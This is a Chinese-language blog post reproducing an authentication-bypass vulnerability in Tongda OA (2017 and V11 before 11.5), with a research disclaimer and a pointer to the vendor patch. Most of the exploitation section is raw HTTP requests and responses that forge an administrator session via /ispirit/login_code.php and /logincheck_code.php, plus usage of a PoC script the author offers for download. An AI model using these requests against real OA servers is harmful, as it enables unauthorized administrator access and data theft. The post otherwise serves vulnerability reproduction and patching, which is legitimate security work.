通达OA 前台任意用户登录漏洞复现(更新手工获取cookie过程)

图片

新增内容1:范围


今天不是炒冷饭:主要是昨天有个兄弟看了文章后问了一下怎么手动获取cookie,相互交流了一下,觉得还是有必要发一下,这个手工获取cookie的流程。


一、漏洞描述

通达OA是一套办公系统。通达OA官方于4月17日发布安全更新。经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞。攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理员身份登录OA系统。

二、影响版本

通达OA2017、V11.X<V11.5

环境搭建:自行镜像环境搭建(后台回复“tongda”获取环境和POC)

本实验复现环境使用2017版本。

三、漏洞复现

新增内容2:范围2017版本手工获取cookie


方法一:获取cookie

手工获取cookie的PHPSESSID

GET方法访问/ispirit/login_code.php路径

GET /ispirit/login_code.php HTTP/1.1
Host: thelostworld
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;
Connection: close

获取返回回来是否codeuid

HTTP/1.1 200 OK
Server: thelostworld
Date: Wed, 22 Apr 2020 13:29:42 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Content-Length: 239

{"codeuid":"{thelostworld}","authcode":"thelostworld"}

图片

提交数据路径/logincheck_code.php

POST /logincheck_code.php HTTP/1.1
Host: thelostworld
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;
Connection: close
Content-Length: 120

{'codeuid': 'thelostworld', 'uid': '1', 'source': 'pc', 'type': 'confirm', 'username': 'admin'}

注意一定需要前面抓的codeuid

将codeuid、uid、source、type、username写入到会话中

HTTP/1.1 200 OK
Server: thelostworld
Date: Wed, 22 Apr 2020 14:07:44 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 55

{"status":1,"msg":"thelostworld","url":"thelostworld"}

如果是"status":1就存在漏洞,同时本次的Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;就是本次的会话PHPSESSID。

图片

上面两个流程就是整个手工获取Cookie的流程。



方法二:poc获取cookie

详细POC参数

➜  thelostworld git:(master) python3 tongda-oA.py -h
usage: POC.py [-h] [-v {11,2017}] [-url TARGETURL]


optional arguments:
  -h, --help            show this help message and exit
  -v {11,2017}, --tdoaversion {11,2017}
                        Target TongDa OA Version. e.g: -v 11、-v 2017
  -url TARGETURL, --targeturl TARGETURL
                        Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1

获取SESSIONID

V11.X 版本

python3 POC.py -v 11 -url http://www.XXX.com

图片

2017版本

python3 POC.py -v 2017 -url http://www.XXX.com

图片

抓取数据包替换SESSIONID

图片

四、总结

新增内容3:范围


1、手工获取cookie过程注意URL路径,V11版本参考POC里面路径,期间的cookie不要修改,还有codeuid需要传递多次注意不要改变。

2、漏洞存在判定就是本次将POST的数据包中的内容({‘codeuid’: ‘thelostworld’, ‘uid’: ‘1’, ‘source’: ‘pc’, ‘type’: ‘confirm’, ‘username’: ‘admin’})强行提交写入到session会话中去,返回状态"status":1就是存在漏洞。同时本次的cookie就是POC执行一次返回回来的cookie。

(个人理解,仅做理解参考)

注:本内容里面的codeuid、authcode部分迷糊数据被替换成thelostworld


五、漏洞修复

及时更新11.5版本

(https://www.tongda2000.com/download/sp2019.php)

参考:

https://vas.riskivy.com/vuln-detail?id=33&from=timeline&isappinstalled=0

https://mp.weixin.qq.com/s/aZMRUZ8DCSVmhlC_qoxIWw

后台回复“tongda”获取环境和POC

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值